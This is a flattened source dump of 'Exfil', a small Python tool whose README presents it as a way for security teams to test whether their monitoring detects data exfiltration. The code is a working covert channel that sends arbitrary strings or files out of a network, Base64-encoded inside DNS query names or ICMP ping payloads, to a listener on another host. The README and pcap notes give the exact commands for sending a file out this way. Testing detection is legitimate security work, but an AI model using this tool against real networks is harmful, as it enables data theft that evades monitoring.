├── .gitignore ├── LICENSE ├── README.md ├── exfil.py ├── lib ├── __init__.py ├── dns.py ├── dns_lookup.py ├── icmp.py ├── network.py └── ping_data.py └── pcaps ├── dns_lookup.pcap ├── pcap_descriptions.md └── ping_data.pcap /.gitignore: -------------------------------------------------------------------------------- 1 | *.py[cod] 2 | *.log 3 | releases/ 4 | .DS_Store 5 | 6 | -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | # Copyright (c) 2014, LCI Technology Group, LLC 2 | # All rights reserved. 3 | # 4 | # Redistribution and use in source and binary forms, with or without 5 | # modification, are permitted provided that the following conditions are met: 6 | # 7 | # Redistributions of source code must retain the above copyright notice, 8 | # this list of conditions and the following disclaimer. 9 | # 10 | # Redistributions in binary form must reproduce the above copyright notice, 11 | # this list of conditions and the following disclaimer in the documentation 12 | # and/or other materials provided with the distribution. 13 | # 14 | # Neither the name of LCI Technology Group, LLC nor the names of its 15 | # contributors may be used to endorse or promote products derived from this 16 | # software without specific prior written permission. 17 | # 18 | # THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" 19 | # AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE 20 | # IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE 21 | # ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE 22 | # LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR 23 | # CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF 24 | # SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS 25 | # INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN 26 | # CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) 27 | # ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE 28 | # POSSIBILITY OF SUCH DAMAGE. 29 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | Exfil 2 | ===== 3 | 4 | Overview 5 | -------- 6 | Exfil is a tool designed to exfiltrate data using various techniques, which allows a security team to test whether its monitoring system can effectively catch the exfiltration. The idea for Exfil came from a Twitter conversation between @averagesecguy, @ChrisJohnRiley, and @Ben0xA and was sparked by the TrustWave POS malware whitepaper available at https://gsr.trustwave.com/topics/placeholder-topic/point-of-sale-malware/. 7 | 8 | 9 | ###Workflow 10 | 1. A tester starts up a listener on one side of the monitoring system, specifying the exfiltration method. 11 | 2. The tester then starts up a sender on the other side of the monitoring system, specifying the data to transmit and the exfiltration method. 12 | 3. The sender then transmits the specified data to the listener while the tester attempts to see the data exfiltration using the monitoring system. 13 | 14 | 15 | Prerequisites 16 | ------------- 17 | * `dnslib` - pip install dnslib 18 | * `dpkt` - Download the source code from [Google Code](https://code.google.com/p/dpkt/downloads/detail?name=dpkt-1.8.tar.gz). Once dowloaded extract the tar file and run `python setup.py install` 19 | 20 | 21 | Modules 22 | ------- 23 | * `dns_lookup` - Transmit data using DNS lookups as described here http://breenmachine.blogspot.ca/2014/09/transfer-file-over-dns-in-windows-with.html 24 | * `ping_data` - Transmit data using ICMP ping packets with data as defined here http://blog.c22.cc/2012/02/17/quick-post-fun-with-python-ctypes-simpleicmp/ 25 | 26 | 27 | Usage 28 | ----- 29 | ``` 30 | usage: exfil.py [-h] (-d string | -f filename) (-l | -s server) [-p port] module_name 31 | 32 | Exfiltrate data. 33 | 34 | positional arguments: 35 | module_name Exfiltration module to use. 36 | 37 | optional arguments: 38 | -h, --help show this help message and exit 39 | -d string String of data to exfiltrate. 40 | -f filename File to send. 41 | -l Listen for a connection. 42 | -s server Server where data should be sent. Can be a hostname 43 | or an IP address. 44 | -p port Port to use when listening or connecting. 45 | ``` 46 | 47 | Examples 48 | -------- 49 | * Start a DNS listener on port 5353: `sudo ./exfil.py -l -p 5353 dns_lookup` 50 | * Send a string of data to the server at 192.168.1.1 listening on port 5353: `sudo ./exfil.py -s 192.168.1.1 -p 5353 -d "String of data" dns_lookup` 51 | * Send the file exfil.py to the server at 192.168.1.1 listening on port 5353: `sudo ./exfil.py -s 192.168.1.1 -p 5353 -f exfil.py dns_lookup` 52 | -------------------------------------------------------------------------------- /exfil.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # -*- coding: utf-8 -*- 3 | 4 | import argparse 5 | import importlib 6 | import sys 7 | 8 | # 9 | # Process our command line arguments. 10 | # 11 | p = argparse.ArgumentParser(description='Exfiltrate data.') 12 | 13 | data = p.add_mutually_exclusive_group() 14 | data.add_argument('-d', metavar='string', help='String of data to exfiltrate.') 15 | data.add_argument('-f', metavar='filename', help='File to send.') 16 | 17 | transmit = p.add_mutually_exclusive_group(required=True) 18 | transmit.add_argument('-l', action='store_true', help='Listen for a connection.') 19 | transmit.add_argument('-s', metavar='server', help='Server where data should be sent. Can be a hostname or an IP address.') 20 | 21 | p.add_argument('-p', metavar='port', type=int, help='Port to use when listening or connecting.') 22 | p.add_argument('module_name', help='Exfiltration module to use.') 23 | 24 | args = p.parse_args() 25 | 26 | 27 | # 28 | # Attempt to import the specified module. 29 | # 30 | try: 31 | m = importlib.import_module('lib.' + args.module_name) 32 | 33 | except: 34 | print('Error: Module {0} was not found.'.format(args.module_name)) 35 | sys.exit(1) 36 | 37 | 38 | # 39 | # Setup our listener or send our data. 40 | # 41 | if args.l is True: 42 | m.listen(args.p) 43 | else: 44 | if (args.d is None) and (args.f is None): 45 | print('Error: No data to send.') 46 | 47 | if args.d is not None: 48 | data = args.d 49 | 50 | if args.f is not None: 51 | data = open(args.f).read() 52 | 53 | m.send(args.s, args.p, data) -------------------------------------------------------------------------------- /lib/__init__.py: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/averagesecurityguy/exfil/f034db281e937bb191ecfcaf59646ba6898b2cb3/lib/__init__.py -------------------------------------------------------------------------------- /lib/dns.py: -------------------------------------------------------------------------------- 1 | # -*- coding: utf-8 -*- 2 | import dnslib 3 | import socket 4 | import network 5 | 6 | 7 | # The DNS query has to be in the format sub.domain.tld and each part can be a 8 | # max of 63 characters. Since we are Base64 encoding the data the actual number 9 | # of bytes we can send in each part is 45. We can send a max of 4 parts, which 10 | # is a total of 180 characters. 11 | BLOCK_SIZE = 180 12 | PORT = 53 13 | 14 | def _parse_dns(data): 15 | return dnslib.DNSRecord.parse(data) 16 | 17 | 18 | def _send_dns_query(server, port, name): 19 | q = dnslib.DNSRecord.question(name) 20 | 21 | try: 22 | q.send(server, port=port, timeout=1) 23 | 24 | except socket.timeout: 25 | pass 26 | 27 | 28 | def send(server, port, data): 29 | enc = network.encode_data(data) 30 | enc = enc[:63] + '.' + enc[63:126] + '.' + enc[126:189] + '.' + enc[189:] 31 | _send_dns_query(server, port, enc) 32 | 33 | 34 | def receive(s): 35 | data, addr = s.recvfrom(1500) 36 | query = _parse_dns(data) 37 | name = str(query.get_q().get_qname()) 38 | 39 | return network.decode_data(name.replace('.', '')) 40 | -------------------------------------------------------------------------------- /lib/dns_lookup.py: -------------------------------------------------------------------------------- 1 | # -*- coding: utf-8 -*- 2 | import sys 3 | import network 4 | import dns 5 | 6 | def listen(port): 7 | if port is None: 8 | port = dns.PORT 9 | 10 | print('Listening for data via DNS on port {0}.'.format(port)) 11 | l = network.get_listener('UDP', port) 12 | 13 | print('Data Received:') 14 | while 1: 15 | resp = dns.receive(l) 16 | sys.stdout.write(resp) 17 | 18 | 19 | def send(server, port, data): 20 | if port is None: 21 | port = dns.PORT 22 | 23 | print('Sending data via DNS to {0} on port {1}.'.format(server, port)) 24 | print('Data Sent:') 25 | 26 | for n in range(0, len(data), dns.BLOCK_SIZE): 27 | block = data[n:n + dns.BLOCK_SIZE] 28 | dns.send(server, port, block) 29 | 30 | sys.stdout.write(block) 31 | -------------------------------------------------------------------------------- /lib/icmp.py: -------------------------------------------------------------------------------- 1 | # -*- coding: utf-8 -*- 2 | import dpkt 3 | import network 4 | 5 | BLOCK_SIZE = 256 6 | 7 | def _build_icmp_echo(id=0, seq=0, data=''): 8 | echo = dpkt.icmp.ICMP.Echo() 9 | echo.id = id 10 | echo.seq = seq 11 | echo.data = data 12 | 13 | icmp = dpkt.icmp.ICMP() 14 | icmp.type = dpkt.icmp.ICMP_ECHO 15 | icmp.data = str(data) 16 | 17 | return icmp 18 | 19 | 20 | def send(s, data): 21 | enc = network.encode_data(data) 22 | icmp = _build_icmp_echo(data=enc) 23 | count = s.send(bytes(icmp)) 24 | 25 | return count 26 | 27 | 28 | def receive(s): 29 | resp, addr = s.recvfrom(1500) 30 | data = network.decode_data(resp[24:].strip()) # Drop 24 bytes of header data. 31 | 32 | return data, addr 33 | -------------------------------------------------------------------------------- /lib/network.py: -------------------------------------------------------------------------------- 1 | # -*- coding: utf-8 -*- 2 | import socket 3 | import dpkt 4 | import dnslib 5 | import base64 6 | 7 | 8 | def _get_socket(protocol): 9 | protocol = protocol.upper() 10 | if protocol not in ['TCP', 'UDP', 'ICMP']: 11 | print('Error: Protocol must be one of TCP, UDP, or ICMP.') 12 | return None 13 | 14 | try: 15 | if protocol == 'ICMP': 16 | return socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_ICMP) 17 | elif protocol == 'UDP': 18 | return socket.socket(socket.AF_INET, socket.SOCK_DGRAM) 19 | else: 20 | return socket.socket(socket.AF_INET, socket.SOCK_STREAM) 21 | 22 | except socket.error as e: 23 | print('Error: Could not create socket. {0}.'.format(str(e))) 24 | return None 25 | 26 | 27 | def encode_data(data): 28 | return base64.b64encode(data) 29 | 30 | 31 | def decode_data(data): 32 | return base64.b64decode(data) 33 | 34 | 35 | def get_listener(protocol, port=0): 36 | s = _get_socket(protocol) 37 | if s is not None: 38 | s.bind(('0.0.0.0', port)) 39 | return s 40 | 41 | return None 42 | 43 | 44 | def get_sender(protocol, server): 45 | s = _get_socket(protocol) 46 | if s is not None: 47 | s.connect((server, 1)) 48 | return s 49 | 50 | return None 51 | -------------------------------------------------------------------------------- /lib/ping_data.py: -------------------------------------------------------------------------------- 1 | # -*- coding: utf-8 -*- 2 | import sys 3 | import network 4 | import icmp 5 | 6 | def listen(port): 7 | print('Listening for data via ICMP.') 8 | l = network.get_listener('ICMP') 9 | 10 | print('Data Received:') 11 | while 1: 12 | data, _ = icmp.receive(l) 13 | 14 | sys.stdout.write(data) 15 | 16 | 17 | def send(server, port, data): 18 | print('Sending data to {0} via ICMP.'.format(server)) 19 | s = network.get_sender('ICMP', server) 20 | 21 | print('Data Sent:') 22 | for n in range(0, len(data), icmp.BLOCK_SIZE): 23 | block = data[n:n + icmp.BLOCK_SIZE] 24 | icmp.send(s, block) 25 | 26 | sys.stdout.write(block) 27 | -------------------------------------------------------------------------------- /pcaps/dns_lookup.pcap: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/averagesecurityguy/exfil/f034db281e937bb191ecfcaf59646ba6898b2cb3/pcaps/dns_lookup.pcap -------------------------------------------------------------------------------- /pcaps/pcap_descriptions.md: -------------------------------------------------------------------------------- 1 | Exfil PCAPs 2 | =========== 3 | 4 | ping_data 5 | --------- 6 | The pcap file ping_data.pcap contains the packets associated with the following five runs of exfil.py 7 | 8 | ``` 9 | $ sudo python ./exfil.py -d AAAABBBBCCCCDDDDEEEE -s 10.230.229.91 ping_data 10 | Sending data to 10.230.229.91 via ICMP. 11 | Data Sent: 12 | AAAABBBBCCCCDDDDEEEE 13 | $ sudo python ./exfil.py -d FFFFGGGGHHHHIIIIJJJJ -s 10.230.229.91 ping_data 14 | Sending data to 10.230.229.91 via ICMP. 15 | Data Sent: 16 | FFFFGGGGHHHHIIIIJJJJ 17 | $ sudo python ./exfil.py -d KKKKLLLLMMMMNNNNOOOO -s 10.230.229.91 ping_data 18 | Sending data to 10.230.229.91 via ICMP. 19 | Data Sent: 20 | KKKKLLLLMMMMNNNNOOOO 21 | $ sudo python ./exfil.py -d PPPPQQQQRRRRSSSSTTTT -s 10.230.229.91 ping_data 22 | Sending data to 10.230.229.91 via ICMP. 23 | Data Sent: 24 | PPPPQQQQRRRRSSSSTTTT 25 | $ sudo python ./exfil.py -d UUUUVVVVWWWWXXXXYYYY -s 10.230.229.91 ping_data 26 | Sending data to 10.230.229.91 via ICMP. 27 | Data Sent: 28 | UUUUVVVVWWWWXXXXYYYY 29 | ``` 30 | 31 | dns_lookup 32 | ---------- 33 | The pcap file dns_lookup.pcap contains the packets associated with the following five runs of exfil.py 34 | 35 | ``` 36 | $ sudo python ./exfil.py -d AAAABBBBCCCCDDDDEEEE -s 10.230.229.91 dns_lookup 37 | Sending data via DNS to 10.230.229.91 on port 53. 38 | Data Sent: 39 | AAAABBBBCCCCDDDDEEEE 40 | $ sudo python ./exfil.py -d FFFFGGGGHHHHIIIIJJJJ -s 10.230.229.91 dns_lookup 41 | Sending data via DNS to 10.230.229.91 on port 53. 42 | Data Sent: 43 | FFFFGGGGHHHHIIIIJJJJ 44 | $ sudo python ./exfil.py -d KKKKLLLLMMMMNNNNOOOO -s 10.230.229.91 dns_lookup 45 | Sending data via DNS to 10.230.229.91 on port 53. 46 | Data Sent: 47 | KKKKLLLLMMMMNNNNOOOO 48 | $ sudo python ./exfil.py -d PPPPQQQQRRRRSSSSTTTT -s 10.230.229.91 dns_lookup 49 | Sending data via DNS to 10.230.229.91 on port 53. 50 | Data Sent: 51 | PPPPQQQQRRRRSSSSTTTT 52 | $ sudo python ./exfil.py -d UUUUVVVVWWWWXXXXYYYY -s 10.230.229.91 dns_lookup 53 | Sending data via DNS to 10.230.229.91 on port 53. 54 | Data Sent: 55 | UUUUVVVVWWWWXXXXYYYY 56 | ``` -------------------------------------------------------------------------------- /pcaps/ping_data.pcap: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/averagesecurityguy/exfil/f034db281e937bb191ecfcaf59646ba6898b2cb3/pcaps/ping_data.pcap --------------------------------------------------------------------------------